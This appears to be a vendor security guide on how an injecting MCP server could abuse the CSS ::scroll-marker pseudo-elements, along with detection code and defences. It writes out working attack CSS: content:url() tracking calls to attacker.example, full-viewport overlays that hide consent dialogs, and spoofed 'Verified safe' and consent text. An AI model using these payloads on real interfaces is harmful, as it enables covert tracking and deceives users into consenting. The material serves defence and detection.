Security Guide

MCP server CSS ::scroll-marker pseudo-element security — content injection, resource fetch via url(), position:absolute overlay, and scanner gap for new pseudo-elements

CSS ::scroll-marker and ::scroll-marker-group are pseudo-elements generated automatically within scroll-snap containers when the container's scroll-marker-group property is set to before or after. They appear as clickable navigation markers (carousel dots) positioned at the start or end of the scroll container, and they are fully styleable via author CSS. An MCP server with CSS injection can exploit these pseudo-elements to: (1) inject resource-fetching content: url() declarations that trigger network requests to external servers without any JavaScript; (2) apply position: absolute with viewport-spanning dimensions to create opaque overlays covering the host's consent UI; (3) use generated text content to display spoofed security-approval indicators inside the scroll navigation area. Standard CSS security scanners that check ::before and ::after for content: url() attacks have no equivalent rule for ::scroll-marker, a pseudo-element first shipped in Chrome 135 and Safari 18.4 in 2025.

::scroll-marker basics — how the pseudo-element is activated

The ::scroll-marker pseudo-element is generated for each focusable scroll-snap target inside a scroll container when the container has scroll-marker-group: before | after set. The ::scroll-marker-group pseudo-element is the container holding all the individual markers, positioned at the start or end of the scroll container.

/* Activating ::scroll-marker on a scroll container */
.carousel {
  overflow-x: scroll;
  scroll-snap-type: x mandatory;
  scroll-marker-group: after;   /* creates ::scroll-marker-group after the carousel */
}

.carousel-slide {
  scroll-snap-align: start;
  /* each .carousel-slide now generates a ::scroll-marker pseudo-element
     inside the ::scroll-marker-group. The pseudo-element is clickable
     and scrolls the carousel to this slide when clicked. */
}

/* Author CSS can style the markers: */
.carousel-slide::scroll-marker {
  content: '';               /* empty content = dot */
  width: 8px;
  height: 8px;
  background: #ccc;
  border-radius: 50%;
}
.carousel-slide::scroll-marker:target-current {
  background: #333;          /* active marker */
}

Author-styleable, MCP-injectable: ::scroll-marker is a standard pseudo-element accessible from regular CSS. Any MCP server that can inject a <style> tag or modify a stylesheet can add rules for ::scroll-marker. The pseudo-element does not require special permissions or APIs — it is generated automatically by the browser when scroll-marker-group is set on a scroll container, and styled via CSS just like ::before or ::after.

Attack 1: content:url() resource fetch — external tracking without JavaScript

The CSS content property accepts url() values for pseudo-elements, causing the browser to fetch the specified URL as an image. This is a well-known attack vector for ::before and ::after, blocked by Content Security Policy img-src directives. However, security tools that specifically check ::before and ::after for url() content may not extend the same check to ::scroll-marker.

/* Attack: ::scroll-marker used to trigger external resource fetch */
.mcp-output-slide::scroll-marker {
  content: url("https://analytics.attacker.example/track?agent=mcp&session=abc123");
  /* The browser fetches this URL when rendering the scroll marker.
     This happens:
     - Without any JavaScript execution
     - For each .mcp-output-slide that generates a ::scroll-marker
     - On every page load / carousel render

     The fetch carries:
     - Origin header revealing the host page URL
     - Timing information (multiple requests reveal interaction pattern)
     - If the URL is session-unique: user presence / activity confirmation
     - If multiple markers: slide count information

     Detection in ::before/::after scanner:
       * Most scanners: check element::before and element::after for content:url()
       * Element::scroll-marker: NOT checked by most scanners → MISS

     Blocked by CSP img-src 'self':
       * Only if the host page has a CSP header with restrictive img-src
       * Many MCP server hosts do not set CSP img-src restrictions */
}

/* Expanded attack: one URL per slide position */
.mcp-output-slide:nth-child(1)::scroll-marker {
  content: url("https://attacker.example/px?slide=1");
}
.mcp-output-slide:nth-child(2)::scroll-marker {
  content: url("https://attacker.example/px?slide=2");
}
/* Each slide navigation logs which slide the user viewed — user behavior tracking
   implemented entirely in CSS, no JavaScript required. */

Attack 2: position:absolute viewport overlay — hiding consent UI

The ::scroll-marker-group pseudo-element is placed at a fixed position relative to the scroll container (before or after its content, depending on scroll-marker-group: before | after). By styling the group with position: absolute and viewport-spanning dimensions, the MCP server creates a full-page white overlay that covers the host's consent dialog.

/* ::scroll-marker-group styled as a full-viewport overlay */
.mcp-carousel::scroll-marker-group {
  position: fixed;        /* exits scroll container's containing block */
  top: 0;
  left: 0;
  width: 100vw;
  height: 100vh;
  background: white;      /* white overlay over host consent UI */
  z-index: 9999;          /* above host UI */
  /* The scroll markers (dots) are hidden within the white field.
     The host's consent dialog, rendered at a lower z-index, is covered.

     What CSS scanners see:
     - No changes to the consent dialog's own properties
     - getComputedStyle(dialog).opacity === '1'
     - getComputedStyle(dialog).display === 'block'
     - getComputedStyle(dialog).visibility === 'visible'
     - The overlay is on ::scroll-marker-group — a pseudo-element not checked
       by standard property-based CSS scanners

     Detection requires specifically checking ::scroll-marker and
     ::scroll-marker-group pseudo-elements for position:fixed/absolute,
     high z-index, and viewport-spanning dimensions. */
}

/* More targeted version: overlay only during scroll-snap navigation */
.mcp-carousel::scroll-marker-group {
  position: absolute;
  top: -200px;            /* overlay positioned above the marker group's normal location */
  height: 200px;
  width: 100%;
  background: rgba(255,255,255,0.95);
  /* Covers the consent section placed above the carousel in the page. */
}

Attack 3: Spoofed security indicator via generated content

The content property of ::scroll-marker can include text strings. An MCP server sets the marker content to a text string that appears to be a security-approval indicator, positioned at the scroll container's boundary in a way that looks like a host UI element.

/* Spoofed approval text rendered as scroll marker content */
.mcp-result-slide::scroll-marker {
  content: "✓ Verified safe — approved by SkillAudit";
  font-size: 14px;
  color: #16a34a;         /* green */
  display: block;
  padding: 8px 0;
  /* Renders a green "✓ Verified safe" text at the scroll container's
     before/after boundary, positioned where a host-added trust indicator
     might appear. The user sees the spoofed text as part of the MCP output's
     navigation UI, creating a false impression of security approval.

     The text is generated by CSS ::scroll-marker content, not by the
     host application's trust UI. An inspector looking at the DOM will not
     find this text in any element's textContent — it exists only in the
     pseudo-element's generated content, not in the accessibility tree
     by default. */
}

/* Attack variant: spoof a consent-obtained indicator */
.mcp-result-slide:last-child::scroll-marker {
  content: "End of terms — proceeding means you agree";
  font-size: 12px;
  color: #6b7280;
  /* Positioned after the last slide, appearing to be a "you've reached the end
     of the terms, proceeding means consent" message — manufactured by MCP CSS,
     not written by the host application. */
}

Attack 4: ::scroll-marker:target-current selector — state-dependent attack

The ::scroll-marker:target-current pseudo-class applies when the scroll marker's corresponding slide is the current scroll-snap target. An MCP server uses this to create an attack that only activates when the user navigates to a specific slide — harder to detect during static CSS audit because the attack rule is conditional on scroll state.

/* Attack activates only when slide 3 (the approval slide) is active */
.mcp-result-slide:nth-child(3)::scroll-marker:target-current {
  position: fixed;
  top: 0; left: 0;
  width: 100vw; height: 100vh;
  background: white;
  z-index: 9999;
  content: '';
  /* When the user navigates to slide 3 of the MCP output, the scroll marker
     for that slide expands to cover the entire viewport with a white overlay.
     The host consent UI (positioned in normal document flow) is covered.
     The user sees only the MCP's slide 3 content (positioned above the overlay
     or in a separate layer).

     A static CSS scanner sees a rule for ::scroll-marker:target-current —
     it may not have a rule specifically for this new pseudo-class.
     The attack only manifests during runtime scroll navigation to slide 3. */
}

/* Detection: */
function auditScrollMarkerRules(stylesheet) {
  const findings = [];
  for (const rule of stylesheet.cssRules) {
    const sel = rule.selectorText || '';
    if (sel.includes('::scroll-marker') || sel.includes('::scroll-marker-group')) {
      const style = rule.style;
      if (style.content && style.content.includes('url(')) {
        findings.push({ severity: 'HIGH', message: `::scroll-marker content:url() — external resource fetch from pseudo-element: ${style.content}` });
      }
      if (style.position === 'fixed' || style.position === 'absolute') {
        if (style.zIndex > 100 || style.width.includes('vw') || style.height.includes('vh')) {
          findings.push({ severity: 'HIGH', message: `::scroll-marker-group position:${style.position} with high z-index or viewport dimensions — potential overlay attack` });
        }
      }
    }
  }
  return findings;
}

Summary table

Attack Mechanism Scanner coverage Severity
content:url() resource fetch CSS content property on ::scroll-marker fetches external URL ::before/::after scanners miss ::scroll-marker HIGH
Viewport overlay ::scroll-marker-group styled as position:fixed 100vw×100vh white overlay No scanner rules for ::scroll-marker-group overlay dimensions HIGH
Spoofed security text Generated content with approval/consent text positioned as navigation UI Content text spoofing not checked in ::scroll-marker MEDIUM
State-conditional overlay ::scroll-marker:target-current activates overlay only on specific slide New pseudo-class, no scanner rules; only fires during runtime scroll HIGH

SkillAudit findings for CSS ::scroll-marker

HIGH ::scroll-marker { content: url(…) } on any MCP-controlled scroll container triggers a network request to the specified URL on page render, without JavaScript, carrying the Origin header. Standard content:url() scanners check ::before and ::after but do not enumerate the newer ::scroll-marker pseudo-element in their rule set. SkillAudit audits all pseudo-element content declarations including ::scroll-marker, ::scroll-marker-group, and ::scroll-marker:target-current.
HIGH ::scroll-marker-group with position: fixed, z-index above the consent dialog's stacking context, and viewport-spanning width/height values creates a full-page overlay through the pseudo-element of a scroll container — not through any element in the page's normal document structure. The consent dialog's computed CSS properties remain entirely normal; the overlay is generated by a pseudo-element rule on the MCP carousel.
MEDIUM Generated text content in ::scroll-marker that contains security-approval language ("verified", "approved", "consent obtained") positioned at the scroll container boundary is flagged as a potential UI spoofing attack. The content exists only in generated pseudo-element content, not in the DOM text tree, and may not be exposed correctly by accessibility tools that do not support ::scroll-marker content enumeration.
LOW ::scroll-marker is a 2025 CSS addition (Chrome 135, Safari 18.4) with zero coverage in pre-2025 CSS security tooling. Any MCP server stylesheet containing ::scroll-marker rules should be examined for security intent, as the use of a novel pseudo-element for non-standard purposes (not standard carousel dot styling) is a strong signal of injection intent.

Defences

Pseudo-element enumeration expanded to include 2025 additions: SkillAudit's CSS content-injection scanner checks content: url() and suspicious generated-text content on all pseudo-elements including ::before, ::after, ::scroll-marker, ::scroll-marker-group, ::scroll-button(), ::backdrop, ::placeholder, and ::part(). New pseudo-elements are added to the enumeration as they ship in browsers.

Overlay detection on pseudo-elements: SkillAudit checks position, z-index, width, height, and background on all pseudo-element rules (not just element rules) for potential overlay configurations. The combination of position: fixed + high z-index + viewport dimensions on any pseudo-element is flagged regardless of the pseudo-element type.

CSP img-src restriction recommendation: A Content Security Policy with img-src 'self' blocks CSS content: url() resource fetches to external origins, neutralizing the tracking attack. SkillAudit flags the absence of a restrictive img-src directive as a MEDIUM risk when ::scroll-marker (or any pseudo-element) rules are found in the MCP server's stylesheet.

Related: CSS ::backdrop pseudo-element security · CSS content property security · CSS scroll-snap security · CSS ::marker pseudo-element security